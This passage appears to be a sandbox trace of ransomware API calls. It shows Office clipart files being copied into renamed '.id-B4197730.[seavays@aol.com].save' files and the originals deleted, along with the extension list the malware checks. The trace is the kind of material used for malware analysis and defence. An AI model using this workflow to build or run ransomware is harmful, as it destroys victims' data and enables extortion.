lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.802] SetEndOfFile (hFile=0x558) returned 1 [0186.802] CloseHandle (hObject=0x558) returned 1 [0186.802] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.802] SetEndOfFile (hFile=0x36c) returned 1 [0186.808] CloseHandle (hObject=0x36c) returned 1 [0186.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0186.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.810] lstrlenW (lpString=".doc") returned 4 [0186.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.810] lstrlenW (lpString=".docx") returned 5 [0186.810] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0186.810] lstrlenW (lpString=".pdf") returned 4 [0186.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.810] lstrlenW (lpString=".xls") returned 4 [0186.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.810] lstrlenW (lpString=".xlsx") returned 5 [0186.810] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0186.810] lstrlenW (lpString=".ppt") returned 4 [0186.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.810] lstrlenW (lpString=".zip") returned 4 [0186.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.810] lstrlenW (lpString=".rar") returned 4 [0186.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.810] lstrlenW (lpString=".bz2") returned 4 [0186.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.811] lstrlenW (lpString=".7z") returned 3 [0186.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.811] lstrlenW (lpString=".dbf") returned 4 [0186.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.811] lstrlenW (lpString=".1cd") returned 4 [0186.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0186.811] lstrlenW (lpString=".jpg") returned 4 [0186.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.812] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7028) returned 1 [0186.812] CloseHandle (hObject=0x36c) returned 1 [0186.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 0x220 [0186.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0187.111] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.111] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.113] GetLastError () returned 0x0 [0187.113] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1b74, lpOverlapped=0x0) returned 1 [0187.116] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1b80, lpOverlapped=0x0) returned 1 [0187.117] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.117] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.117] SetEndOfFile (hFile=0x554) returned 1 [0187.118] CloseHandle (hObject=0x554) returned 1 [0187.118] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.118] SetEndOfFile (hFile=0x36c) returned 1 [0187.122] CloseHandle (hObject=0x36c) returned 1 [0187.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0187.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.124] lstrlenW (lpString=".doc") returned 4 [0187.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.124] lstrlenW (lpString=".docx") returned 5 [0187.124] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0187.124] lstrlenW (lpString=".pdf") returned 4 [0187.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.124] lstrlenW (lpString=".xls") returned 4 [0187.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.125] lstrlenW (lpString=".xlsx") returned 5 [0187.125] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0187.125] lstrlenW (lpString=".ppt") returned 4 [0187.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.125] lstrlenW (lpString=".zip") returned 4 [0187.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.125] lstrlenW (lpString=".rar") returned 4 [0187.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.125] lstrlenW (lpString=".bz2") returned 4 [0187.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.126] lstrlenW (lpString=".7z") returned 3 [0187.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.126] lstrlenW (lpString=".dbf") returned 4 [0187.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.126] lstrlenW (lpString=".1cd") returned 4 [0187.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0187.126] lstrlenW (lpString=".jpg") returned 4 [0187.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.128] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=14552) returned 1 [0187.128] CloseHandle (hObject=0x36c) returned 1 [0187.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 0x220 [0187.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0187.129] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.129] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.133] GetLastError () returned 0x0 [0187.133] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x38d8, lpOverlapped=0x0) returned 1 [0187.136] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x38e0, lpOverlapped=0x0) returned 1 [0187.138] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.138] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.138] SetEndOfFile (hFile=0x554) returned 1 [0187.138] CloseHandle (hObject=0x554) returned 1 [0187.139] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.139] SetEndOfFile (hFile=0x36c) returned 1 [0187.142] CloseHandle (hObject=0x36c) returned 1 [0187.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0187.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.145] lstrlenW (lpString=".doc") returned 4 [0187.145] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.145] lstrlenW (lpString=".docx") returned 5 [0187.145] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.145] lstrlenW (lpString=".pdf") returned 4 [0187.145] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.145] lstrlenW (lpString=".xls") returned 4 [0187.145] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.145] lstrlenW (lpString=".xlsx") returned 5 [0187.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.145] lstrlenW (lpString=".ppt") returned 4 [0187.145] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.145] lstrlenW (lpString=".zip") returned 4 [0187.145] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.145] lstrlenW (lpString=".rar") returned 4 [0187.145] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.145] lstrlenW (lpString=".bz2") returned 4 [0187.145] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.145] lstrlenW (lpString=".7z") returned 3 [0187.145] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.146] lstrlenW (lpString=".dbf") returned 4 [0187.146] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.146] lstrlenW (lpString=".1cd") returned 4 [0187.146] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0187.146] lstrlenW (lpString=".jpg") returned 4 [0187.146] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.147] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=45358) returned 1 [0187.147] CloseHandle (hObject=0x36c) returned 1 [0187.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 0x220 [0187.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0187.148] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.149] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.174] GetLastError () returned 0x0 [0187.174] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xb12e, lpOverlapped=0x0) returned 1 [0187.462] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xb130, lpOverlapped=0x0) returned 1 [0187.465] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.467] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.467] SetEndOfFile (hFile=0x554) returned 1 [0187.468] CloseHandle (hObject=0x554) returned 1 [0187.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.468] SetEndOfFile (hFile=0x36c) returned 1 [0187.473] CloseHandle (hObject=0x36c) returned 1 [0187.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0187.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.476] lstrlenW (lpString=".doc") returned 4 [0187.476] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.476] lstrlenW (lpString=".docx") returned 5 [0187.476] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0187.476] lstrlenW (lpString=".pdf") returned 4 [0187.476] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.476] lstrlenW (lpString=".xls") returned 4 [0187.476] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.476] lstrlenW (lpString=".xlsx") returned 5 [0187.476] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0187.476] lstrlenW (lpString=".ppt") returned 4 [0187.476] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.476] lstrlenW (lpString=".zip") returned 4 [0187.476] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.476] lstrlenW (lpString=".rar") returned 4 [0187.477] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.477] lstrlenW (lpString=".bz2") returned 4 [0187.477] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.477] lstrlenW (lpString=".7z") returned 3 [0187.477] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.477] lstrlenW (lpString=".dbf") returned 4 [0187.477] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.477] lstrlenW (lpString=".1cd") returned 4 [0187.477] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0187.477] lstrlenW (lpString=".jpg") returned 4 [0187.477] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.478] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=26531) returned 1 [0187.478] CloseHandle (hObject=0x36c) returned 1 [0187.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 0x220 [0187.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0187.480] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.480] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.482] GetLastError () returned 0x0 [0187.482] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x67a3, lpOverlapped=0x0) returned 1 [0187.484] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0187.486] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.486] WriteFile (in: hFile=0x554, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.486] SetEndOfFile (hFile=0x554) returned 1 [0187.486] CloseHandle (hObject=0x554) returned 1 [0187.486] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.486] SetEndOfFile (hFile=0x36c) returned 1 [0187.491] CloseHandle (hObject=0x36c) returned 1 [0187.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0187.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.493] lstrlenW (lpString=".doc") returned 4 [0187.493] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.493] lstrlenW (lpString=".docx") returned 5 [0187.493] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0187.493] lstrlenW (lpString=".pdf") returned 4 [0187.493] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.493] lstrlenW (lpString=".xls") returned 4 [0187.493] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.494] lstrlenW (lpString=".xlsx") returned 5 [0187.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0187.494] lstrlenW (lpString=".ppt") returned 4 [0187.494] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.494] lstrlenW (lpString=".zip") returned 4 [0187.494] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.494] lstrlenW (lpString=".rar") returned 4 [0187.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.494] lstrlenW (lpString=".bz2") returned 4 [0187.494] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.494] lstrlenW (lpString=".7z") returned 3 [0187.494] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.494] lstrlenW (lpString=".dbf") returned 4 [0187.494] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.494] lstrlenW (lpString=".1cd") returned 4 [0187.494] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.494] lstrlenW 